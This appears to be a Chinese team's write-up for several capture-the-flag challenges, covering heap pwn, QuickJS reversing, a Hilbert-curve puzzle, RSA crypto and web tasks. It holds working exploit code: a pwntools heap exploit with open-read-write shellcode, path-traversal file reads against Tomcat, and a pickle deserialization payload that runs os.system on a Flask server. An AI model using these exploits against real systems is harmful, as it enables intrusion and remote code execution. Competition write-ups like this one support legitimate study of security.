注：本文为goodcat战队参赛wp，非官方出品
libc2.27-0ubuntu1.4，存在明显的UAF；
tcahce double free 控制tcache struct，将counts[]数组全部填满后， 将其释放到unsortedbin可泄露libc；
之后再次double free 将free_hook改为setcontext，布置好orw，之后读出flag。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendafter("input context:\n", content)
def show(index):
r.sendlineafter(">> \n", "4")
r.sendlineafter("input index:\n", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook
= (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) &
0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, '\x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
find the cmp str.
buu原题
hook原文
将原文转成qword
与加密key相加得到flag
flag{a14a424005b14e2b89ed45031ea791b9}
根据题目名称，发现是一道js框架的题目
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0x01, 0xFE, 0x00, 0x00, 0x00
参考了这一篇博客
https://bbs.pediy.com/thread-259014.htm
对 quickjs.c 进行 patch：
得到字节码如下，对dump出来的字节码进行分析，提取出密文
[150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6
4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1
07, 131, 223, 122, 229, 157]
再提取出加密过程如下：
RC4_KEY="2021quickjs_happygame" push_i16 150 push_i16 224 push_i16 244 push_i8 68 push_i8 61 push_i8 125 push_i8 8 push_i16 239 push_i16 203 push_i16 254 push_i16 241 push_i8 113 push_i16 213 push_i16 176 push_i8 64 push_i8 106 push_i8 103 push_i16 166 push_i16 185 push_i16 159 push_i16 158 push_i16 172 push_i8 9 push_i16 213 push_i16 239 push_i8 12 push_i8 100 push_i16 185 push_i8 90 push_i16 174 push_i8 107 push_i16 131 array_from 32 push_i16 223 define_field "32" push_i8 122 define_field "33" push_i16 229 define_field "34" push_i16 157 43 define_field "35"
解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9}
binwalk提取两张图片，分别得到一个字母数字混合的表格和一个hint.txt
password.xls
hint.txt
希尔伯格曲线 取出表格中的字符，单独放到password.txt的文件中，运行脚本如下：
import base64
from hilbertcurve.hilbertcurve import HilbertCurve
array = []
password = ''
p = 8;n=2
hilbert_curve = HilbertCurve(p, n)
with open('password.txt','r',encoding='utf-16') as file:
# a = file.readline().replace("\t", "").replace("\n", "")
# print(a)
for i in range(256):
a = file.readline().replace("\t", "").replace("\n", "")
array.append(a)
for i in range(256*256):
[m,n] = hilbert_curve.point_from_distance(i)
password += array[n][m]
# print(password)
import base64
temp = password
for i in range(25):
temp = base64.b64decode(temp)
print(temp)
得到base64加密后的密文如下：
base解密得到密码
解压后发现里面是brainfuck
>+++++++++[<+++++++++++++ >-]>+ ++[< +++++++++++++++++++++++++++++
++++++++>-]>++[<+++++++++ +++++ ++++++ +++++++++++++++++++++++++++++
++++++++++++>-]>++++[<+++ +++++ ++++++++ +++++++++++++>-]>+++[<+++++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ +>-] ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ >>+++ +++[ <+++ +++++
+++++ +++++ +>-] >++[ <++++
+++++++++++++++++++++++++ +++++ +++++++>-]>+++++++++++[< +++++ ++++++>-]>++[<++
+++++++++++++++++++++++++ +++++ ++++++++++++++++++++++++++ +>-]> +++++++[<++++++++
+++++++>-]+++++++++++++++ +++++ ++++++++++++++++++++++++++++ +++++ +++ +++++
+++++ +++++ ++++ ++++ +++++ +++++
+++++ +++++ ++++ >>++ +++[< +++++
+++++ +++++ ++++ >-]> +++++ +++[<
+++++ +++++ +>-] >+++ +++[< +++++
+++++ +++++ ++>- ]>++ +++++ [<+++
+++++ +++++ ++>- ]+++ +++++ +++++
+++++ +++++++++++++++++++++++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++++++>>++[<+++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++>-]>+++++[<++++++ ++++ ++++ +++++>-]>+++++++[<+++++++>-]>
++++ ++++
[<+++ +++++
+>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<
++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-
]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++
>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++
+++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>
解压后发现里面是brainfuck
uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev}
放到编码器里面发现是atbash
对应位置修改下大小写
flag{HiIbert_Curve_1S_4_vv0nderfu!_curve}
to small? leak?
https://blog.cryptohack.org/cryptoctf2020#one-line-crypto
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
primes = []
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass
已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数，进而求解出d和第二段。
import gmpy2 from Crypto.Util.number import * def main(): _n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739 e = 0x10001 c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083 phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1) d = gmpy2.invert(e, phi_n) m = pow(c % _n, d, _n) print(long_to_bytes(m)) if __name__ == '__main__': main()
###
一道Java_URL。
Tomcat/8.5.71
http://eci-2zeb5ty7ty8rr8c0v8yy.cloudeci1.ichunqiu.com/
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>testurl</servlet-name> <servlet-class>com.test2.aaa1.testURL</servlet-class> </servlet> <servlet-mapping> <servlet-name>testurl</servlet-name> <url-pattern>/testURL</url-pattern> </servlet-mapping> <servlet> <servlet-name>download</servlet-name> <servlet-class>com.test2.aaa1.download</servlet-class> </servlet> <servlet-mapping> <servlet-name>download</servlet-name> <url-pattern>/download</url-pattern> </servlet-mapping> </web-app>
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class
得到class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testURL extends HttpServlet {
protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {
this.doPost(arg1, arg2);
}
protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {
String tartget_url = arg6.getParameter("url");
if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {
arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));
return;
}
arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}
public StringBuilder getContent(String arg8) throws IOException {
BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));
StringBuilder content = new StringBuilder();
while(true) {
String inputLine = in.readLine();
if(inputLine == null) {
return content;
}
content.append(inputLine);
content.append("\n");
}
return content;
}
}
樱桃猫写了自己的第一个flask网站，你能帮他看看有什么问题吗？
网刃杯的easy_web,原题
文件读取，/proc/self/cmdline
app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
读 /proc/self/environ 没用
MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8SHELL=/bin/shPYTHON_VERSION=3.8.2PWD=/appPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
import requests
import pickle
import base64
# e = 'ls / -a'
e = 'cat /flagggggggggggggaaa'
s = pickle.dumps(e)
# print(s)
payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \
e.encode()+b' > /tmp/1.txt\nb.'
response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt",
cookies=dict(
user=base64.b64encode(payload).decode()))
for l in response.content.decode().split("\n"):
if "base64" in l:
l = l.split("\"")[1].split(",")[1]
print(base64.b64decode(l).decode())
flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f}
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